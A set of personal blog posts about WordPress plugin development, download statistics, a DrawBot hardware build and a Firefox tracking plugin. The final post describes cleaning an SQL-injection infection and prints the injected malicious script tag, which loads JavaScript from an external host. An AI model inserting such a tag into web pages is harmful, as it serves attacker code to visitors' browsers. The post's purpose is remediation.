Who is tracking you? Collusion plugin for FireFox

If you want to see something that is simultaneously disturbing and ego-inflating, check out the Collusion plugin for FireFox. 1 A friend of mine e-mailed me the link to the LifeHacker post discussing it.  If you want to cut to the chase, the link to the Collusion plugin is right here.  After web surfing and blogging for about an hour, the little web it’s drawn so far is a little scary.

 

  1. In a perverse way, it is slightly ego-inflating because I’m clearly so very important to ALL these companies! []

Plugin Considerations

When designing/writing software, or I suppose any kind of engineering for that matter, there is always a tension between features and complexity.  I really want this Simple Series WordPress plugin to be simple and easy to use.  But, as I use it more and more I find there are some possible features that I wouldn’t mind having.

For example, my DrawBot series is at 43 posts at this moment.  The problem is that each post, no matter how short, now has an entire screen-length’s worth of a list for the series. 1  Now, there are several possible ways to handle this:

  • I suppose when I’m looking to design a UI, the most important things to focus on is what would the user expect to see and happen.  It certainly makes sense for there to be a uniform series list in every post.  But, it seems slightly inelegant to have it that way for every single post when you’re looking at an entire page.
  • I could modify the plugin so that it would only create a list once per page, rather than once per post.  I suppose subsequent instances could then provide a single link to the series list in the initial post.  I think this would be non-intuitive as a person navigated the page.
  • I could modify the plugin so that it only showed the current post plus X posts before and after where X is some arbitrary number I choose.  (Although, I’d probably make it user specifiable).  I’d have to dig into some fancy scmancy CSS to define a different start-number for the HTML ordered list, but this isn’t a huge problem.  Ideally, it would say there are Y prior posts and Z subsequent posts as well.  Then again, it is really helpful (at least to me) to be able to click back up or down through a series list.

Perhaps the optimal result is something in between?

  • On a page consisting of a single post, the entire list should be displayed.
  • On a page consisting of multiple posts, the subsequent lists should be truncated in some meaningful fashion.  Perhaps the last and subsequent X posts, with a little sentence indicating Y more prior posts and Z more subsequent posts.  When you click on the “Y more prior posts” it could take you to the first instance of the series list on that page and when you click on the “Z more subsequent posts” it could take you to the next post listed in the series on the first instance of the series list on that page. 2
  • Sadly, this system would not really change much for the RSS feed readers.
  1. I can’t even imagine how much text is devoted to just the series list on those DrawBot posts in your RSS feed. []
  2. Um.  This sounded a lot clearer in my head as I typed it than it probably reads. []

Simple Series – Half-Life; Market Research

I’m wondering at what point will the downloads on this plugin plateau.  Whatever the eventual baseline download rate, I would suspect that speaks to the amount of maximum market share that is possible for a plugin that performs these functions.1  I would think that downloads would spike when I release a new version of the plugin.  Given that I released about five updates to this plugin the first day, I would assume some of those initial downloads were duplicative.

As far as rankings go, at this time this plugin is #5 on WordPress.org’s plugin search page, #5 inside WordPress’s internal “Add New” plugins search page, and no where to be seen in the Google rankings.  Looking at Google Keywords, it appears that there’s no small amount of search traffic for the keywords “WordPress series.”  There’s some 200,000 global monthly searches.  One of the reasons I’m following this so closely is that I’ve had a few ideas for plugins that I could sell.2

Here’s the WordPress.org plugin download stats for “Simple Series with SEO!” for the first four days.

  1. 1/26/2012: 1 download
  2. 1/27/2012: 99 downloads
  3. 1/28/2012: 37 downloads
  4. 1/29/2012: 20 downloads

What will tomorrow bring?

  1. I promise I won’t subject your RSS feed to my obsessive stats checking.  Much of the time I use this blog as a way to document/save/organize information that is probably really only interesting to me. []
  2. A brother’s gotta earn, right? []

Anti-Virals

Here’s the WordPress.org plugin download stats for “Simple Series with SEO!” for the first three days.

  1. 1/26/2012: 1 download1
  2. 1/27/2012: 99 downloads2
  3. 1/28/2012: 37 downloads3

It looks after being bumped from the newest plugins slot, the downloads dropped precipitously.  So much for going viral, money, and fame, eh?

Actually, I’m happy to have helped out a 100 people or so.  I also think a lot more people will end up using this plugin over time.  The alternatives, while very good, are more difficult to use and do tend to add a lot of other stuff into your WordPress installation.

  1. That was me installing it in another blog! []
  2. And a blog ain’t one []
  3. I have nothing clever to say about this. []

DrawBot – The Delivery, Part VI

Okay, that was FAST.  I ordered the Adafruit motor shield from MakerBot on 1/26/2012 just after midnight and it arrived today a little after noon.  That’s about two-and-a-half days for the parts to be packed, shipped, make it from Brooklyn, NY to Oakland, CA and then to my secret robot lair in the Bay Area.1  While at the hardware store today I picked up some small eyescrews and new tips for my soldering iron.  Tonight I’ll assemble the board.  Again.

I can honestly say that I was mightily tempted to purchase a third motor shield along with this second.  However, as I have no immediate designs on a secondary DrawBot2 I’m not ready to admit the possibility of defeat.  In the words of Kongorilla, I will not fail.3

Actually, now that I’ve got these new soldering iron tips, I stand a chance of being able to desolder the mis-soldered parts. 4 My old soldering tips were old, tarnished, and somewhat crusty.  The soldering tip I’m replacing is all of these things plus it is in the rough shape of a flathead screwdriver. 56

Wish me luck!

Posts in the DrawBot Adventure Series
  1. Wanna make a DrawBot?
  2. DrawBot Resources and Links: Updated 2012/04/19
  3. DrawBot, the Adventure Begins
  4. DrawBots for the slow learner
  5. DrawBot - Parts Ordered!!!
  6. DrawBot - The Breakdown
  7. DrawBot - Parts Shipped!!!
  8. DrawBot - What would you draw?
  9. DrawBot - The Plan!
  10. DrawBot - The Hacks
  11. DrawBot - Giant Unicorn?
  12. DrawBot - The Delivery?
  13. DrawBot - The Delivery, Part II
  14. DrawBot – The Delivery, Part III
  15. DrawBot – The Assembly, Part I
  16. DrawBot – The Software, Part I (and an existential conversation)
  17. DrawBot – The Delivery, Part IV
  18. DrawBot – The Assembly, Part II
  19. DrawBot – The Assembly, Part III
  20. DrawBot – The Assembly, Part IV
  21. DrawBot – Design Considerations
  22. DrawBot – Halp!!! No - seriously, a little help?
  23. DrawBot – The Face Palm
  24. DrawBot – The Delivery, Part V
  25. DrawBot – The Silver Lining of Failure
  26. DrawBot – The Delivery, Part VI
  27. DrawBot – The Assembly, Part V
  28. DrawBot – The Assembly, Part VI
  29. DrawBot – Printed Parts
  30. DrawBot – The Assembly, Part VII
  31. DrawBot – The Operation, Part I
  32. DrawBot – The Assembly, Part VIII
  33. DrawBot – The Breakdown, Part II
  34. DrawBot – Printing!
  35. DrawBot – Printing, Part II
  36. DrawBot – Why are you crying?
  37. DrawBot – Calibration
  38. DrawBot – Pen Selection
  39. DrawBot – How to Recover from a Stalled Print!
  40. DrawBot – Drawing Success(ish)!!!
  41. DrawBot – Pen Selection, Part II
  42. DrawBot – Onwards and Upwards!
  43. DrawBot – Another Successful(ish) Drawing!, and an Update
  44. Restarting a Stalled DrawBot Drawing
  45. TSP FTW!
  46. Speedier DrawBot Drawings
  47. Two new DrawBot links! And an update!
  48. Excellent DrawBot Slides
  49. Another Drawing Robot!!!
    • Delivered, January 28, 2012, 12:09 pm, [SECRET ROBOT LAIR], CA [9XXXX]
    • Out for Delivery, January 28, 2012, 8:14 am, [SECRET ROBOT LAIR], CA [9XXXX]
    • Sorting Complete, January 28, 2012, 8:04 am, [SECRET ROBOT LAIR], CA [9XXXX]
    • Arrival at Post Office, January 28, 2012, 5:17 am, [SECRET ROBOT LAIR], CA [9XXXX]
    • Depart USPS Sort Facility, January 28, 2012, OAKLAND, CA 94615
    • Processed through USPS Sort Facility, January 28, 2012, 2:26 am, OAKLAND, CA 94615
    • Electronic Shipping Info Received, January 27, 2012
    • Depart USPS Sort Facility, January 27, 2012, BETHPAGE, NY 11714
    • Processed at USPS Origin Sort Facility, January 26, 2012, 11:40 pm, BETHPAGE, NY 11714
    • Accepted at USPS Origin Sort Facility, January 26, 2012, 10:25 pm, BROOKLYN, NY 11217

    []

  1. I’ll want to make sure I can get this first one sorted before I try []
  2. Actually, that’s a little more bravado than I’m really capable of.  If I fail, I fail – I just have no intention of ending at failure.  Rather, I’m committing to repeated failures … until I end up with a working DrawBot []
  3. Gah, why didn’t I pick up a desoldering pump while I was out today?! []
  4. And chipped, at that. []
  5. It’s really quite a miracle I got the first board soldered at all in the first place. []

Articles on writing WordPress Plugins

Looking back at one’s code from years prior is like looking back at a junior high school picture of one’s self.  I’m looking back at the code for my quick-and-dirty pie chart plugin and think, man, why did I write things THAT way?

In the 1,000 years since I wrote that plugin in 2009, I’ve been trying to learn and comply with best programming practices for WordPress plugins.  As a result my current plugins tend to be stripped down, simple, don’t create unnecessary options, don’t create unnecessary tables, taxonomies, special post types, or those kinds of things. 1  Learning some Object Oriented programming along the way has been super helpful.  By encapsulating your WordPress plugin code into a chunk of objected oriented programming, you reduce the likelihood that your plugins’ function and variable names will collide with those from WordPress or other potential plugins.

If you’re getting started or need to brush up on your WordPress plugin development skillz, you should definitely check out these awesome articles:2

I’d also recommend tinkering with jQuery and JSON, if you haven’t already. 3  I don’t know of any really good JSON tutorials, so if you do, please let me know so I can add it to this list.

  1. Admittedly, I’m not really shooting for super ambitious plugins either. []
  2. Mostly stolen from the WordPress Codex! []
  3. I only use JSON for passing data from the browser to the server via AJAX and then decoding into a PHP object. []

Simple Series with SEO! after just one day

I’m really happy to report that per the WordPress.org stats, this little post series plugin has been downloaded more than 100 times so far.  That’s really awesome.  And, now that I’ve figured out how to work this wacky SVN thing, I think it would be fun to release some of the other random little plugins I’ve developed over the last few years.

As of the latest version 1.4, the plugin is now easy to modify with some CSS added to your stylesheet.  I could have added this as a text field option a settings page for the plugin, but I really like the stripped down simplicity of the plugin as is.  Even with all the comment lines in the plugin, it is only 53 lines of code.  If super short code were a goal1 I could probably cut that in half.2

Now I have to find some of my old plugins that others might find useful.  I’ve got one for frame escaping, one for making pie charts…  I know there are a few other random ones as well.

  1. And it isn’t []
  2. Obviously, I’m not going to do this since it would make the code next to illegible []

Simple Series WordPress Plugin

I’ve written a new WordPress plugin specifically designed to let you simply and easily create a series of related posts.  You can download Simple Series here.

What does “Simple Series” do?

Simple Series uses a WordPress shortcode to associate your posts together.  All you have to do is use the same shortcode in all of the posts you want to associate together and the plugin does the rest.  It will automatically find all of the posts with the same shortcode, organize them by publication date, and put them together in a professional and easy to read format.  If you wish to change the format, you can just add your own custom CSS to your theme.

How does “Simple Series” work?

Easy!  Just add the shortcode to each of the posts you want to put in the series.  Inside the shortcode you will need to specify the title for the series.  Like so:

This Is My Series Title
  1. Simple Series WordPress Plugin

What if I add more posts later?

No problem!  The “Simple Series” plugin will always update the series lists in each of your posts whenever you publish a new post.  The newest post will always be added to the series in chronological order, by publication date.  You can see an example of what it looks like here in my own DrawBot series.

I have more questions!

Cool!  Please leave a comment to this post or send me an e-mail!

A nifty little WordPress plugin…

The idea for this little plugin has been rattling around in my head for a little while now.  It clocks in at less than 60 lines of code, including comments, and makes it easy to create a “series” for posts.

As I’ve been blogging about my (mis)adventures in building a DrawBot, I’ve been updating each post to contain a link back to all of the prior posts in the series.  However, if someone were to find one of the first posts – they wouldn’t see a link to a later post.  That is, unless I update all the posts.  That’s not really much of an option, since I’ve racked up 23 posts in less than 19 days. 12

This plugin is actually super simple.  Here’s what it does:

  1. Add a “post meta” tag for the current post with the same key as whatever you want to name the post series
  2. Query the database for all posts with the same post meta key as the one for the current post
  3. Output an ordered chronological list of all posts in with the same post meta key as the one for the current post

The simplicity of this plugin are actually some of it’s strongest features.  Unlike a lot of other series plugins out there, it doesn’t create any unnecessary tables in your WordPress database.  There are no settings to mess with, no CSS to fiddle with, no ugly standard formatting to overcome.

The only downside I can perceive is that if you delete the shortcode from a plugin, it will still leave the post-meta attached to the post and the post will still appear in the series.  If you leave the shortcode in and don’t specify a series title, it will delete the post-meta.  I suppose I could include a little button in the interface to delete the post from the series, but really, it’s just not going to be used that often.

Anyhow, this is something that I’ve wanted to have for a long time – I just hadn’t gotten around to building it yet.

  1. I’ve got a lot to say. []
  2. And, actually, that’s just 23 posts on this one topic.  I’ve probably blogged an equal amount over on the MakerBot blog, with a few totally random additional posts here. []

How to clean an “jsss.ce.ms” SQL injection

Well, that was exciting.  Apparently my website had been attached by some kind of SQL injection.  I was curious if my self-hosted WordPress website had been attacked like 4,300 others.  After some digging around, I found that this was not the case.  A scan by UnmaskParasites.com revealed nothing unusual.  However, a scan by Sucuri’s SiteCheck revealed some Javascript malware entries in some posts.

I say “some” posts.  By this I mean 3300 posts and post revisions dating back to the very first blog entry on this website going to as recently as July 13, 2011.  Not including this post, I’ve got 721 published blog entries – with almost all containing this little gem:

<script type=”text/javascript” src=”http://jsss.ce.ms/16″></script><script type=”text/javascript” src=”http://jsss.ce.ms/16″></script>

Here’s what I did to clean this infection:

  • Copy my entire “_posts”  to “_posts2″
  • Copy my entire “_posts” to “_posts3″
  • Downloaded “_posts3″ as a CSV
  • Find and replace all instances of the above script in the CSV with “”
  • Deleted the contents of “_posts3″
  • Uploaded the altered CSV into “_posts3″
  • Renamed “_posts” to “_posts1″ and “_posts3″ to “_posts”
  • Done!

It’s definitely possible to create a little WordPress plugin to clean this kind of an infection out, but there’s little incentive to do so when the manual fix is relatively easy.  If you’ve got this kind of an infection in your site and don’t know how to take care of it, drop me a line.